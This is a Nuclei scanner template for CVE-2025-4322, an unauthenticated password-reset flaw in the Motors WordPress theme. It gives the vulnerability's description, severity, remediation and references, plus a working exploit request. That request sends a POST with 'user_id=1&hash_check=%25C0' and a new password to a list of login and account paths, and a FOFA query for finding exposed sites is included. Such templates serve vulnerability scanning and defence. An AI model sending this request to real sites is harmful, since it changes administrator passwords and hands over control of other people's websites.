id: CVE-2025-4322

info:
  name: Motors <= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover
  author: DhiyaneshDK
  severity: critical
  description: |
    The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.
  impact: |
    Unauthenticated attackers can change arbitrary user passwords including administrators through insufficient identity validation, enabling complete site takeover and unauthorized access to all accounts.
  remediation: |
    Upgrade Motors WordPress theme to version 5.6.68 or later that properly validates user identity before password changes.
  reference:
    - http://themeforest.net/item/motors-car-dealership-wordpress-theme/13987211
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/61820ca5-5548-4155-b350-df3db1bc1661?source=cve
    - https://github.com/Yucaerin/CVE-2025-4322
    - https://github.com/maximo896/CVE-2025-4322
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4322
    cwe-id: CWE-620
    epss-score: 0.43859
    epss-percentile: 0.97586
  metadata:
    fofa-query: body="/wp-content/themes/motors/style.css"
  tags: cve,cve2025,motor,intrusive,wordpress,wp-theme,wp,vkev,vuln

variables:
  password: "{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        POST {{paths}}/?user_id=1&hash_check=%25C0 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        stm_new_password={{password}}

    payloads:
      paths:
        - "/login"
        - "/loginregister"
        - "/login-register"
        - "/my-account"
        - "/account"
        - "/signin"
        - "/sign-in"
        - "/register"
        - "/auth"
        - "/user/login"
        - "/user/signin"
        - "/forgot-password"
        - "/reset-password"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Enter new password","stm-validation-message")'
        condition: and
# digest: 4a0a00473045022100d1f9fc487454af8c309c43cdc0d8e3d9340bb29d9af7bd8fcb8e54e6a6cf57fc02204f9e910146924813cb5ac004ab359a4ac4c98eb5a3aa4a941abc8fd24cb31637:922c64590222798bb761d5b6d8e72950